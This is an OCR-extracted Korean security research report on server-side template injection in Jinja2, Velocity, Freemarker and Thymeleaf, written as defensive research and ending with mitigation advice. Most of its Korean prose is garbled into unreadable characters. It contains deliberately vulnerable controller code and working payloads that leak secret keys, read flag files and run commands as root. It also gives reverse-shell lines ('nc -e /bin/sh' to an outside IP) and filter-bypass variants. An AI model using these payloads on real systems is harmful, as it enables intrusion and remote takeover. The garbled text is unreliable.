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Research & Technique
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SSTI(Server-Side Template Injection)

B ME

T FNE 2024 " ARFGUINAIE EHQE FHEH HUr|Ed SSTI(Server—Side Template
Injection) &0 F7F4tt. SSTI @] A 2015 d Black Hat Conference o4 270%d §& 7] =
T FoFo]l #Es] el Qe @=olth of¥ R&T BHoA= 2T 24 W a8 7]9HA A
ZoFd BAmyto] A% SSTI FoeFdo] st Aga} tf-gHkoto] sl AbA|s] tf=ch

M Server-Side Template Injection

D FHoFd 718

HEZ5 A (Template Engine)= F=2 A ofEgAloldi} oA 114 "HEHI Ho[HE
Aot A Ho[x]E AAct=d gt "HER dXS AMESHH IZE=E HTML JEi=
HAsH A4 4 Aok 7HEA, AAEA, fRIES a8 Y2 28 A& AR o
BIHE 92 & U

X~

dE5 Qo= SHolAENA F& st ZtoldE & ®EE MX(Client-Side Template
Engine)t AHolA F&st= AH & "EE <l

Z1(Server—Side Template Engine)©] SITt.

infosec

o3

Data @
_ Template Result
$%sj; | Engine Documents
Template

19 1 HEY A7 9

EQST insight | 1



o =
1 87

Z

il

Z I

—

Nfo

(e}
=

SRR

’

7

9]

o

(@)
LEERRT

Z] o]
1

o}
Ol

2) SSTI &2 14

infosec

or
i
ol

-

ol

oju
okl

s
i
[y
ulr

OEQST

q..

[ http://eqst.com?id

U7y

e L R

i
&l
b
3r
1o
o
4

o0

2357f8e4e69b49fee2ed44e7f
c5ed37b8530chfadalc2bf033

Xt
{{ config['SECRET_KEY'] }} |

1| &
Fl
[
Hu
i
Kir
ED
3
4
1
1
1
1
1
H
° i
[} 1
T 1
m 1
) 1
- 1
-] 1
0 1
o 1
o~ 1
0 1
L] 1
1
= =
b .
o =
x 1l
o o
RO &
or |- 1+| &
KF o
B
-~
)
il =
]
=

D EQST

a9 2. SSTI & 74

a4

Hu

©)

Bl

K+

i

H

KO

X

8 Mol za

o

E

10!
<M

[

Hiu
oo
ol
Rr

ol
ol

a4
T
Ho
®

EQST insight | 2



3) F& o A = HAEH A7
SSTI &4 d&d<= T2 =+ Ae Aol A = =HE3 P2 ofet 2ot
Language Framework Template Engine
Python Flask Jinja2 {7*7}1}
C# ASP.Net Razor @(7*7)
Java Springboot Thymeleaf $(7*7}
JavaScript - Jade =77
PHP Symphony Twig {77
AH = "FEE AR @2 AL Eold, dAzes oE AH 5 HEY
ol ¥ 4= Qv SSTI Fefd2 FE3 1o @ WAl AR ol
g deng, Be A S |ES Ao Fo7t Hasit

9 molA AAH
Mo M SSTI F ok
whel croreh Fe vet
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Jinja2 ©] 7% opFet 32 7|§o]l EASHH, Velocity, Freemarker, Thymeleaf €] -9 =1oA]
Wol AR8-Sh= Spring &730lA ARESh=E |FES didolRg 2 R&T BEA A thgEt

SSTI #ebde Ahgat g 3 =
g gty AL EEs] fEoE, FA%E oolel 9B TRL FYste] sl 1o

ASAL A2l det DA ARG LEAD 5 ek

1) Jinja2
HA Flask ZH A=) Jinja2 Template Engine $7g0llA] o]@A] SSTI FHeFdo| WAgsta, oj®
P o

34 78S AT 5 A 249

Flask oA @AsH= SSTI = tjEAH o= FoFgt <] “render_template_string”& 53 HZ3-S
Al goto] WS FHoksh dlA] I == offieb AT

from flask import *
import socket

app = Flask(_name_)

@app.route('/")
def index(e):
id = request.args.get('id’,type=str,default=")
template = "
<IDOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

(&=h
<p class="fs-1 text-center">Hello, %s</p>

</body>
</html>
"% (id)

return render_template_string(template)

EQST insight | 4



SSTI FZof o]83 < = Jinja Template Engine ] 7|22 EHLE o33 7},

=Xt 449 Gl Al
... HL BHAo| ANE £ A { config }}

{% for i in list %}

{% endfor %}}

#..# FMZ HASHE FEA {# a comment #}

9 BE Pt HAAO) FNE stk TEAR ol&F 44 (7*7N"e dstu olefel
2ol WB9 THoR sl 4971 ZeEE AL AT & gt

([${7*7]

‘f.? [] 'a' Incognito

Hello, |49

1% 3. Jinja2 Template Engine oA {{7*7}} &2 4F Al
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https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleaf.html#standard-expression-syntax

EINERERT Oﬂl—é—ﬂﬂl ol d W AAZT secret key & config Ao AHAotH, “{{configl”

Cc A\ Mot secure 172.25.57.2 /board.html?id= {{config}} ncognito New Chrome available +

Hello, <Config {'DEBUG": False, 'TESTINGY, False, 'PROPAGATE_EXCEPTIONS":
None,|'SECRET_KEY": 'flag{SKShieldus_Test}',
'PERMANENT_SESSION_LIFETIME'": datetime.timedelta(days=31),
'USE_X_SENDFILE'": False, 'SERVER_NAME" None, 'APPLICATION_ROOT" /",
1% 4. Jinja2 Template Engine {{config}} 7% 12 A]

Python o& A A Al AF5Lo2 Ad&HHe ‘Object FH;A7F EA¢) g Safiof Hgt
7 Object 7} SL7t *}*OP— o}ﬁ ool FTolH, M2 ZIAAE A4S Popen
Feiao] AT 4 Aok dg A =4 skeA ot ok

infosec

A
i
oo
*2
i)

M 22 &2l Object 2~ H2 ME S~ E2 Z2M2 4l

% 5. Jinja2 Template Engine SSTI 92 ZE A T& +£4
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9 mAo] web oew we o2tz qlele wWale dddN AT 4
9P HW 5, 1 AnE wolet gL Ft

communicate()= ¢J2]2]
{{{}.__class__.__base__._ subclasses__()[367](cat flag.txt'shell=True,stdout=-1)

.communicate()[0].strip()}}
?2id=%7b%7b%7b%7d%2e%5f%5/%63%6c%61%73%73%5f%5f%2e%5f%5{%62%61%
73%65%5f%5f%2€%5f%5f%73%75%62%63%6C%61%73%73%65%73%5f%5%28%2
9%5b%33%36%37%5d%28%27%63%61%74%20%66%6C%61%67%2e%74%78%74%
27%2c%73%68%65%6C%6c%3d%54%72%75%65%2c%73%74%64%61%75%74%3d%
2d%31%29%2€%63%6%6d%6d%75%6€%69%63%61%74%65%28%29%5b%30%5d

%2€%73%74%72%69%70%28%29%7d%7d

v Loqin Page x
« > C A Notseaure  172.25.5

Hello, [b'flag{SKShieldus_Test}]
% 6. Jinja2 Template Engine oA 974 FE= A oA
gteF Object Fefiiol HFIokA] Zotoete & Wlo=s JYgS B4 & Utk Jinja2 oA
Z[EAHoR AMgIHESE HHAESQ] config o AR WAZS  init oF o] MY HEE
=35l= _ globals & o]83dto] ol gEE BEejes Yot

Hello,[flag{SKShieldus_Test}|

19 7. Jinja2 Template Engine o4 92 ZE= A3 oA
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2) Velocity

Velocity & et |1E5 1o

Java 718t Template engine ©]t}.

il

Agatel o] Aold AAE FRT 5 Yk 15 7R

Velocity o4 MHg8He SSTIE AH8 2iztel e 44s A%
siAfste] WART AL8A Qg TR Wob A & AB3e] A2 PRl 4E 4 9

A ZEE ofHet £t

MainController.java
import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;

&%

@Controller
@EnableAutoConfiguration
public class Main {

(=)

@RequestMapping("/velocity")
@ResponseBody
String velocity(@RequestParam(required = false, name = "name") String name) {
System.out.printin(name);
(BE..
String template = "<!IDOCTYPE html><html lang="'en'><head>" +
- (B .
+ name +"</p></body></html>";
RuntimeServices runtimeServices =RuntimeSingleton.getRuntimeServices();
StringReader reader = new StringReader(template);
org.apache.velocity.Template t = new org.apache.velocity.Template();
t.setRuntimeServices(runtimeServices);
ty { .. (B8 ..
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
t.merge(context, writer);

template = writer.toString();

EQST insight | 8



SSTI FZ ] o]-g3 %4 Y= Velocity Template Engine ©] 7)<l B.o t}-&a} 7}

T2 a9 ol Al
#set(...) Hxe g2 49 #set( $primate = “monkey” )
#if(...) #if ($foo == $bar)
Equal
#else ZUHEES LIEtH=E T2 #else
Not equal
#end #end

#foreach( #product in $allProducts )
g LIEtE &R} <li>$product</li>

#end

®
rt
i
Ao

9 %2 Fuste] HAAS) FRPe APt TRAL 2SS FUSE TRAE ol §T 4
“Pset$x=7*7) $x’E AYstH, ofefel Fol B ROz HATle] 49 B A A

I 4 glck.

#set($x=7*7) $x
?name=%23set($x=7*7)%20%x

Hello,[49

1% 8. Velocity Template Engine oA #set($x=7*7) $x T2 A4 Al
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Velocity Template Engine & FEo| #xot= AAE EB2& & Urh o] of dolo] EALES
Adet F, AR SHAE EUS £ Java 9| Reflection
7150 R FASHH, ot Zo] AAFE Y Yot ZYAE EHE 4 Utk T 9 o

Velocity RI&3! 2 ot At

orName("javalan... g% ¥ a L incognito

Hello,|class java.lang.String

13 9. Velocity Template Engine 9|4 forName() HINEE &85 & 4 A

EQST insight | 10



java.lang.Runtime 2eAE TE F, exec) HINEE S8t A4 oo |

% o

#set($a="")
($proc="%a.getClass().forName(“java.lang.Runtime”).getRuntime().
exec("nc —e /bin/bash 192.168.102.61 8888"))
#set($null=$proc.waitFor())
?name=%23set%28%24a%3d""%29%0a%23set%28%24proc%3d%24

a%2egetClass%28%29%2eforName%28"java%2elang%2eRuntime" %29

%2egetRuntime%28%29%2eexec%28"nc%20-
€%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888"%29%29%23set(%24null%3d%24proc.waitFor())

ﬂ; Incognito

c @ localhost5051/velocity?nan

3% 10. Velocity Template Engine o4 97 B3 Aoz FuiA 4 4
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T3, javalang.String, java.lang.Character & o] T&6] BHo] AHgS EAd=s &8
t}. Velocity Template Engine ¢ WHE-Fo| #foreach( -+ )

HE G 22 A g EHsH A 4 Sl

ml %0

#set($engine="")
#set($str=$engine.getClass().forName("java.lang.String"))
#set($chr=%$engine.getClass().forName("java.lang.Character"))
#set($proc=3$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($null=$proc.waitFor())

#set($prt=$proc.getinputStream())

#foreach($i in [1..$prt.available()])

$strvalueOf($chrtoChars($prt.read())

#end
?name=%23set%28%24engine%3d""%29%0a%23set%28%24str%3d%24engine
%2egetClass%28%29%2eforName%28"java%2elang%2eString" %29%29%0a%23
set%28%24chr%3d%24engine%2egetClass%28%29%2eforName%28"java%2elang
%2eCharacter"%29%29%0a%23set%28%24proc%3d%24engine%2egetClass%28
%29%2eforName%28"java%2elang%2eRuntime"%29%2egetRuntime%28%29%2e
exec%28"id"%29%29%0a%23set%28%24null%3d%24proc%2ewaitFor%28%29%29
%0a%235et%28%24prt%3d%24proc%2egetinputStream%28%29%29%0a
%23foreach%28%24i%20in%20%5b1%2e%2e%24prt%2eavailable%28%29%5d
%29%0a%24str%2evalue0f%28%24chr%2etoChars%28%24prt%2eread%28%29

%29%29%0a%23end%0a

& @ localhost5051/velocity?nam 9 .+ Incognito

Hellojuid=0(root)gid=0(root)groups=0(root)

1% 11. Velocity Template Engine oA 924 B3 A3 9 A3} &9
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3) Freemarker
MR 2= Spring 24 2] Freemarker Template Engine oAl oJ27] SSTI FeFgo] WAjstal ojH

34 78S AT 5 YdeA 249

Freemarker £ ®Z31 €53 54 flojHE 7[¥toz HTML ¥ #HeolA], e-mail, A4 o,
Al FE T2 9T 5 e "HES Aot

Freemarker o4 AJSH= SSTI Flebde A8 gl oist 488 4% glo] siagte B2
TRoR MY W BT 48R Qe TR Wl A = @B PEd Tiol

4" 4 g oAl TEE ofefet 2k

MainController.java

import java.io.lOException;
import java.io.StringReader;
- (EEh .
@Controller
@EnableAutoConfiguration
public class Main {
-~ (BE ..
@RequestMapping("/freemarker")
@ResponseBody
String freemarker(@RequestParam(required = false, name = "name") String name) {
if (name == null) {
name = "";
}
String template = "<!DOCTYPE html><html lang='en'><head>" +

+ name +"</p></body></html>";
try {
Template t = new Template("home", new StringReader(template), new
Configuration());
Writer out = new StringWriter();
try {
t.process(new HashMap <Object, Object>(), out);
} catch (TemplateException e) {
e.printStackTrace();
1
template = out.toString();
} catch (IOException e) {
e.printStackTrace();
}

return template;

EQST insight | 13



SSTI F#9] o] 4= 9= Freemarker Template Engine ©] 7|22l FH2 of33 7Ty,
TEXt 2% Ol Al
<#assign ...> xg kg 43 <#assign seq="foo">
<#if condition> <#if x == 1>
X is 1
<helse > 2L UELE 22X “relse>
X is not 1
</#if> </#if>
<#list sequence> <#list sequence as item>
HEE2 UE= FEX} Part repeated for each item
</#list> </#list>
<#assign seq="foo">
${Value} us 54
${seq}
9 ®E ATele] AN e FUNE FRAS ol8F 4 072 Ao, ofefe}
2ol BB FROR Ao 498 FAS AL AT & Yrk

L
o0

a

Incognito

1% 12. Freemarker Template Engine oA ${7*7} -2 9438 Al
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Freemarker &2 &A= 99 Java AA|E Adot=dl AHE-El+= FreemarkerModel 249}
“Lof Hit f1dAdol AwH ek
« URL : https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading security

il

A9

ek

Freemarker ¢] TemplateModel ©f 33F Y82 HH, o] 4> Q)= Execute S A7}
Z7fttt,

« URL : https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html

sig S0 ARE- oAl ofeieh Er
P ER-ELDY

‘ <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("&

w2tA, FreemarkerModel 2] Execute ZH|AE TE6H0] “id” FHEHolE Ad)st= Ho|R2Ex=

g} 2

RS <#assign ex = "freemarkertemplate.utility.Execute"?new()> ${ ex("id")}

?name= %3c%23%61%73%73%69%67%6e%20%65%78%20%3d%20%22%66
%72%65%65%6d%61%72%60%65%72%2e%74%65%6d%70%6C%61%74%65
%2€%75%74%69%6C%69%74%79%2e%45%78%65%63%75%74%65%22%3f
%6€%65%77%28%29%3e%24%7b%20%65%78%28%22%69%64%22%29%7d

& @ localhost5051 /freem: name gn%20e “freem: mplate L Incognito

HelloJuid=0(root) gid=0(root) groups=0(root)

1% 13. Freemarker Template Engine o4 974 W3 A9 2 di &9 1
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https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security
https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html

${"freemarker.template.utility.Execute"?new()("id")}

?name= %24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74
%65%6d%70%6C%61%74%65%2€%75%74%69%6C%69%74%79%2e%45
%78%65%63%75%74%65%22%3f%6€%65%77%28%29%28%22%69%64%22%29%7d

c ame semark ate%2euti xecute"%3fn... ¥ B & incognito

HelloJuid=0(root) gid=0(root) groups=0(root)

% 14. Freemarker Template Engine oA 9974 ¥ A3 = A3t £ 2
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4) Thymeleaf

npz]eto 2 Spring ¥4 9] Thymeleaf Template Engine o4 oJEA] SSTI FeFdo] A5t ofH
A
n

34 TRS YT 5 YA 27

Thymeleaf = XML 1} ¢ #2355 A5 512 AAHE AH

XHTML, Valid XHTML, HTML5, Legacy HTML5 ®Z3 RE=E 2|43},

Thymeleaf o4 AIsH= SSTI kA <4l AHgA gl oat 448 2% glol 9 ghe
W FROR S WAL A8A Qegle IYR wob A¥ Z BEsio] B3 Fio]

4" 4 g oAl TEE ofefet 2k

MainController.java
import org.thymeleaf.spring5.SpringTemplateEngine;
import org.thymeleaf.templateresolver.ITemplateResolver;
import org.thymeleaf.templateresolver.StringTemplateResolver;
- (&= ..
@Controller
public class MainController {
@RequestMapping("/thymeleaf")
@ResponseBody
public String thymeleaf(@RequestParam(defaultValue="sktester") String username, HttpServletRequest
request, HttpServletResponse response) {
String template = "<!DOCTYPE html><html lang='en'> <head>" +
- (EEh .
"Hello, " + name +"</p></body></html>";
- (EEh .
TemplateEngine templateEngine = new SpringTemplateEngine();
ITemplateResolver templateResolver = new StringTemplateResolver();
templateEngine.setTemplateResolver(templateResolver);
WebContext ctx = new WebContext(request, response, request.getServietContext());
- (BED ..
Writer out = new StringWriter();
templateEngine.process(template, ctx, out);

return out.toString();

EQST insight | 17



SSTI A9 0|83 4= Q= thymeleaf Template Engine ©] 7|22l FH2 of33 7ty

TEXt 2% Ol Al
${...} B H A <div th:text="${foo}"> </div>
<li><a
@f{ ..} URL 23 HEA th:href="@{/foo(param1=${param1},
param2=%{param2})}">foo</a> </li>
I[..1 ooy =g 2 [[${data}]]
th:text Ef Wi Oiojle HE& <h1 th:itext="${data}">data</h1>

(3% https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleafhtml#standard-expression-syntax)

[$(7*7)
?2username=%24%7b%37%2a%37%7d

@ localhos )/thymeleaffusername L5b% 2459 L5dY | £ Incognito

Hello, |49

1% 15. Thymeleaf Template Engine ol A [${7*7}]] 7% &3 Al
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https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#standard-expression-syntax

o B o] $418 WL “Cathitext=$(7* T (a)” FEOEE BHelet 4 9k,

G MERS < g thitext=${7*7}> </a>
2username=%3c%61%20%74%68%3a%74%65%78%74%3d%24%7b%37%2a%37%7d

ezt

%3e%3c%2f%61%3e

& @ localhos )/thymeleaf?username £5b%24% £5d9 Y a L Incognito

Hello, |49

1% 16. Thymeleaf Template Engine oA <a thitext=${7*7})> {/a) & ¥H Al

Thymeleaf T Velocity Template Engine 2 Zo]
o2 o AMESh= Java 9 Reflection 7]'5& -85t

<a thitext="${".getClass().forName(java.lang.Runtime")}" ></a>

?username=<a%20th%3atext%3d"%24%7b%27%27%2egetClass%28%29%2eforName

%28%27java%2elang%2eRuntime%27%29%7d" > <%2fa>

@ localhost:8080/thymeleaf?username 620t ext? 624% ege ke | £ Incognito

Hello,|class java.lang.Runtime

19 17. Thymeleaf Template Engine ol 4] forName() HIAE=E &8 & 4F A
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A=
—=
o]
=

2] 9] ]
oA

15 3
$31 9

O{l

c= &
=
<a thitext="${".getClass().forName('java.lang.Runtime’).getRuntime().exec('nc —e

Velocity Template Engine 2}
=3 H, execO) HIAE=

=Haal A= E‘-
Incognito

/bin/sh 192.168.102.61 8888")}"></a>

?username=
<a%20th%3atext%3d"%24%70%27%27%2egetClass%28%29%2eforName%28%27
java%2elang%2eRuntime%27%29%2egetRuntime%28%29%2eexec%28%27nc%20-

%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888%27%29%7d" > <%2fa>

2 3% A% 4oz x4 94

1% 18. Thymeleaf Template Engine ] 4]
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N ek

i}
”
242 st BBYL A48T 4 Utk o2 BEARD e 2o ¥F WHe AP

=
o] 1—4_

%

U= <th thitext="${T(java.lang.Runtime).getRuntime().exec('nc -e /bin/sh 192.168.102.61 8888")}" > Test</th>

?username=
<th%20th%3atext%3d"%24%7bT%28java%2elang%2eRuntime%29%2egetRuntime
%28%29%2eexec%28%27nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61
%208888%27%29%7d" >Test<%2fth>%0a

fusername= < 0 3 H7bT? %... o= £ Incognito

1% 19. Thymeleaf Template Engine o] 4] SpEL-& 83 97 33 APoz A 4 A2
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OGNL(Object—Graph Navigation Language)x= Apache £ZE[o], Java Application ©J|A] Tt
A E e ZAA ot T AME-EQl Thymeleaf 7} s OGNL FAAS A Ltehd, oh3ih 22

OGNL E@4oR 97 932 49 4 ok

[[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("nc -e /bin/sh 192.168.102.61 8888")}1]

?username= <th%20th%3atext%3d"%24%7bT%28java%2elang%2eRuntime%29%2egetRuntime
%28%29%2eexec%28%27nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61
%208888%27%29%7d">Test<%2fth>%0a

& ® localhost:8080/thymeleaf?username : %40j: 2eRu... Incognito

1% 20. Thymeleaf Template Engine &lA] OGNL & 283 94 95 Aoz A 4 493
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B SSTI CiS ot

off ALgAlE WEUS AT 4+ S WEL Zo] A EAW, FHo PEAL TA
e Aol WBY 2L S8 ¥ 45 9k

T3, logic—less ?F Liquid, Handlebars, Mustache ¢} 72 ®HIE3-2 A8 Wi Z& A=
AR "AESHE FASH] w2ol SSTI o tigt o7t 7Festeh. I=iu, ZF 'E3 dxlo] o&
=Y S FASH] "o @A R ofuR ol

9 % s wEe Adstw SSTI o diet 4ade og wetemr mE oA
o

= =
HAHsanitization), Y&HaE A (Input Validation), 2811 M=EA] (sandboxing)©] ATt

1. Sanitization(Z & SHAA HAD
Sanitization ©|¢t FFTEA| 42> AHEA YHFORHE Template & AFASHA] FrF AFshe=
"rAo|th, Abgzp ¢lEo] o Template 9|4 A|-&5l= Parameter 2 A|5te% A5

23 A9
Template AR FFe % 4 JEE Astsjof s,

tfEH o2 Flask 9] render template() HWIAEE AFES & ot &g dlA=e] &8 A=
=S e g

app.py

#!/usr/bin/python3

from flask import *

w (BED ..

@app.route(’/', methods=['POST','GET'])
def index():

a = int(request.form['a’])

return render_template(‘index.html’, a=a)
.. (ZEh ...
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ol

A&

PH o2 Zol 49 st Aot obd, {{5*5HE diz &¥ste e g &

;2 ol
5

HO|2E KR
U=zt ?2id=%7b%7b5%2a5%7d%7d

Cc @ localhost8000/7 % d ke | £ Incognito

Hello, [{{5*5}}

1% 21. Jinja2 Template Engine oA sanitization ©]% {{5*5}} 7% 48 A|

2. Input Validation(@ =gt AZ)
]

AgA GRelA () [ ] B e E4RR AAE WA RHEE Ecape NS 2AL
Agatol e & ek dlF Bol, ((5*5)E AAWTM, 25 7 okd, S4EATL BeH ol
552 gtol Zeslcr Fth okt 2ol el e FAY 4 ot

EHET Y0

; = + . /
? : A $ # @
* W X ~ &

% ! ( ) [ ]
< > } )

StARt, B A
ZYPAE H321 =

“class”(Jinja2) @F &2 wAES ZEPAH, 2 Template Engine ol Al+= th5 3 Zo] S3]A =7}
7F&stet.

E Ju BEPoly] wEe] WelPol mEsW SFF 4+ Ak 7, 54
E- &
N

olt

=%  “avalang” (Velocity, Thymeleaf), “template.utility”(Freemarker),
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#set($engine="")
#set($a="java.la")
#set($b="ng.Runtime")
#set($c="ng.String")
#set($d="ng.Character")

(
(
(
(
#set($str=$engine.getClass().forName($a.concat($c)))
Ho|2E #set($chr=$engine.getClass().forName($a.concat($d)))
#set($proc=$engine.getClass().forName($a.concat($b)).getRuntime().exec("id"))
#set($null=$proc.waitFor())
#set($prt=$proc.getinputStream())
#foreach($i in [1..$prt.available()])
$strvalueOf($chr.toChars($prt.read())
#end
?username=%23set%28%24engine%3d""%29%0a%23set%28%24a%3d"java%2ela" %
29%0a%235et%28%24b%3d"ng%2eRuntime"%29%0a%23set%28%24c%3d"ng%2eSt
ring"%29%0a%23set%28%24d%3d"ng%2eCharacter"%29%0a%23set%28%24str%3d
%24engine%2egetClass%28%29%2eforName%28%24a%2econcat%28%24c%29%29
%29%0a%235et%28%24chr%3d%24engine%2egetClass%28%29%2eforName%28%2
4a%2econcat%28%24d%29%29%29%0a%23set%28%24proc%3d%24engine%2eget
Class%28%29%2eforName%28%24a%2econcat%28%24b%29%29%2egetRuntime%2
8%29%2eexec%28"id"%29%29%0a%23set%28%24null%3d%24proc%2ewaitFor%28
%29%29%0a%235et%28%24prt%3d%24proc%2egetinputStream %28%29%29%0a%2
3foreach%28%24i%20in%20%5b1%2e%2e%24prt%2eavailable%28%29%5d%29%0a
%24str%2evalueOf%28%24chr%2etoChars%28%24prt%2eread%28%29%29%29%0a
%23end%20%0a

@ localhost5051/ ity?na 24engi Iset%h "lava... X £ Incognito

Hellojuid=0(root)gid=0(root)groups=0(root)

a9 22. Velocity Template Engine 2218 "EH 23]

EQST insight | 25



Freemarker 93] HI¢F

Ho|2E

<#assign ex = "freemarkertempla">
<#assign ex += "te.utility.Execute">

<#assign ex = ex?new()>${ ex("id")}

?username= %3¢c%23%61%73%73%69%67%6€%20%65%78%20%3d%20%22%66
%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6¢%61%22%3e%3c
%23%61%73%73%69%67%6e%20%65%78%20%2b%3d%20%22%74%65%2e%75
%74%69%6¢%69%74%79%2€%45%78%65%63%75%74%65%22%3€%3c%23%61
%73%73%69%67%6€%20%65%78%20%3d%20%65%78%3f%6€%65%77%28%29
%3e%24%7b%20%65%78%28%22%69%64%22%29%7d

Hellojuid=0(root) gid=0(root) groups=0(root)

a

'a' Incognito

1% 23. Freemarker Template Engine 248 HY 3]
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Thymeleaf 3] ¢t

<a th:itext="${".getClass().forName(java.lan'+'g.Runtime’).getRuntime().exec('nc

-e /b'+'in/sh 192.168.102.61 8888)}"> </a>

?username=
<a%20th%3atext%3d"%24%70b%27%27%2egetClass%28%29%2eforName%28%27ja
va%2elan%27%2b%27g%2eRuntime%27%29%2egetRuntime%28%29%2eexec%28
%27Nnc%20-6%20%2fb%27%2b%27in%2fsh%20192%2e168%2e102%2€61%20
8888%27%29%7d"> <%2fa>

[:I 'a' Incognito

1% 24. Thymeleaf Template Engine ##¥ e $3]
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Flask 93] Hfet

{{lipsum.__globals__.os.popen(‘cat flag.txt’).read())}}

?id=%7b%7blipsum%2e__globals__%2eo0s%2epopen%28%27cat%20flag%2etxt%27%
29%2eread%28%29%29%7d%7d

Hello,[flag{SKShieldus_Test}|

% 25. Jinja2 Template Engine 44 HEY $3]

Jinja2 Template Engine ©] 749 request AAE AT 4 QIoid, T 93t Fard
ol AEof et 22 93] HetE 7HEsi

(id 2h)
{{lipsum|attr(request.pragma.0)|attr(request.pragma.1)|attr(request.pragma.2)|attr(req
uest.pragma.3)|attr(request.pragma.4)|attr(request.pragma.5)|attr(request.pragma.6)|a
ttr(request.pragma.7)()}}

(header &)

Pragma: __globals__

Pragma: __getitem__

Pragma: __builtins__

Pragma: __import__

Pragma: os

Pragma: popen

Pragma: cat flag.txt

Pragma: read

?id=%7b%7blipsum%7cattr%28request%2epragma%2e0%29%7cattr%28request%2e
pragma%2e1%29%7 cattr%28request%2epragma%2e2%29%7cattr%28request%2epr
agma%2e3%29%7 cattr28request%2epragma%2e4%29%7cattr%28request%2eprag
ma%2e5%29%7 cattr%28request%2epragma%2e6%29%7cattr%28request2epragm
2%2e7%29%28%29%7d%7d
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m @ Cance < Target: http://172.25.57.228:3000 y HTTR/
o= =

Request Response

Raw Hex o= Pretty Raw Hex Render . N

GET /board.html7id=

{{lipsum|attr(request. pragma.0)|attr(reguest . pragma.1)(reques

t.pragma.2)|attr(request.pragma.l1)(request.pragma.3)(request.

pragma.4)|attr({request pragma.5)(request.pragma.6)|attr(reque

st.pragma.7) ()1} HTTP/1.1

Pragma: __globals__

Pragma: __getitem__

Pragma: __builtins__

Pragma: __import__

Pragma: os

Pragma: popen

Pragma: cat flag.txt

Pragma: read

Host: 172.25,57,228:8000

Upgrade-Insecure-Requests: 1

User—Agent: MWozilla/5.0 (Windows NT 10.0; WinBd; x64)

AppleWebkit/537.36 (KHTML, |ike Gecko) Chrome/121.0.6167.160

o [parar 158738 Hello,|flag{SKShieldus_Test}
text/html ,application/xhtml+xml| ,application/xml:q=0.9,inage/a
vif,image/webp, image/apng.*/*;q=0.8.application/signed-exchan
geiv=b3:g=0.7

4 Accept—-Encoding: gzip. deflate, br

5 Accept-Language: ko-KR,ko:g=0.9.en-US:g=0.8.en:0=0.7

6 Connection: close

7

]

[ Rl B o N e [ S

9 26. Jinja2 Template Engine 9974 FE AP FLS e Y £3] A
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Eg, B@A (- )"e WY Gk stz BAA ([ ) o] obd, WMEE (% - %)"S
Bo) B4 @9 F E4sts Yo 937} Al

(id 2h)

{%with a=lipsum|attr(request.pragma.O)|attr(request.pragma.1)|attr(request.pragma.2)|attr(re
quest.pragma.3)|attr(request.pragma.4)|attr(request.pragma.5)|attr(request.pragma.6)|
attr(request.pragma.7)()%}{%print(a) %}{%endwith%}

(header Z})

Pragma: __globals__

Pragma: __getitem__

Pragma: __builtins__

Pragma: __import__

Pragma: os

Pragma: popen

Pragma: cat flag.txt

Pragma: read
2id=%7b%7blipsum%7cattr%28request%2epragma%2e0%29%7cattr%28request%2e
pragma%2e1%29%7cattr%28request%2epragma%2e2%29%7cattr%28request%2epr
agma%2e3%29%7 cattr%28request2epragma%2e4%29%7cattr%28request%2eprag
mMa%2e5%29%7cattr%e28request2epragma%2e6%29%7cattr%28request%2epragm
a%2e7%29%28%29%7d%7d

m [ Cance < v Target: hitp://172.25.57.228:8000 (5  HTTP/

Request Response
ety Raw Hex n = Pretty Raw Hex Render = n =
GET /board.html?id=

{%withta=lipsum|attr({request. pragma.0)|attr(request. pragma.l)
(request.pragma.2)|attr(request . pragma.1)(request . pragma.3)(r
equest.pragma.4)|attr(reguest.pragma.5)(request.pragma.6)latt
r(request.pragma.7) ()% H%print{a)%H{%endwith%} HTTP/1.1

Pragma: popen

Pragma: cat flag.txt

S|Pragma: read

10 Host: 172,25,57,2258:8000

11 Upgrade-Insecure-Requests: 1

12 User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.8167.160
Safari/537.36 -

13 Acoept Hello,|[flag{SKShieldus_Test}
text/html .application/xhtmli+xml ,application/xml:g=0.9.image/a
vif,image/webp,image/apng,*/*:g=0.8,application/signed-exchan
ge:v=b3:¢=0.7

14 Accept-Encoding: gzip, deflate, br

15 Accept-Language: ko-KR,ko:q=0.9,en-US:g=0.8,en:g=0.7

16 Connection: close

17

18

Z|\Pragma: __globals__
3|Pragma: __getitem__
AfPragma: __builtins__
S\Pragma: __import__
GyPragma: os

-

8

19 27. Jinja2 Template Engine 94 FE A3 FET P 23] A
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3. Sandboxing(X1 E8}H4])
AR dEEE 7= Template & AJAdsta #legsior ot A, E7HHsHA AR
YHgeg Template & A FHfol gtk o, AR 8o =

T 2HE Hh= Template 2
Sandboxing 8 B4 L7t AAR GFS 7D 5 YR APk WEO

ottt Sandboxing ¢ 79 -3¢
]%Q_i %%‘OH /\]—% ]__15 zi_% b))
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H Z10 AIO|E

« B3 opzto] B (https://www.blackhat.com/docs/us—15/materials/us—15-Kettle—Server—Side—
Template—Injection—RCE—For—-The—Modern—Web—App—wp.pdf)

- gz A FAhtps://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html)

» Hacktricks (https://book.hacktricks.xyz/pentesting—web/ssti—server—side—template—
injection#thymeleaf—java)

* Jinja -84 &A(https://jinja.palletsprojects.com/en/3.0.x/templates/)

